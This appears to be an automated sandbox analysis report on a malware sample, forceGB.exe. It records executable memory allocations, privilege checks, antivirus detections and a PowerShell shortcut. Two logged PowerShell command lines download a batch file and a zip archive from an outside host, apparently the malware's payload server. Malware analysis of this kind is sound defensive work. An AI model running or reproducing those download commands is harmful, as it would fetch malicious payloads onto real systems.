NtAllocateVirtualMemory March 28, 2025, 9:38 a.m.	process_identifier: 2732 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff0010c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 28, 2025, 9:38 a.m.	process_identifier: 2732 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00103000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 28, 2025, 9:38 a.m.	process_identifier: 2732 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff0004a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 28, 2025, 9:38 a.m.	process_identifier: 2732 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00191000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 28, 2025, 9:38 a.m.	process_identifier: 2732 region_size: 16384 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002957000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (2 events)

cmdline	powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://teamvontaxi-koblenz.it.com:6382/CPA.bat' -OutFile 'C:\Users\test22\Downloads\CPA.bat' }"
cmdline	powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://teamvontaxi-koblenz.it.com:6382/TaxPrep.zip' -OutFile 'C:\Users\test22\Downloads\CPAdocxs.zip' } catch { exit 1 }"

File has been identified by 6 AntiVirus engines on VirusTotal as malicious (6 events)

CrowdStrike	win/malicious_confidence_90% (W)
Symantec	Trojan Horse
Kaspersky	UDS:DangerousObject.Multi.Generic
Sophos	Mal/Generic-S
FireEye	Generic.mg.8591934e438d1853
DeepInstinct	MALICIOUS

Checks for the Locally Unique Identifier on the system for a suspicious privilege (3 events)

Time & API	Arguments	Status	Return
LookupPrivilegeValueW March 28, 2025, 9:38 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW March 28, 2025, 9:38 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW March 28, 2025, 9:39 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1

forceGB.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All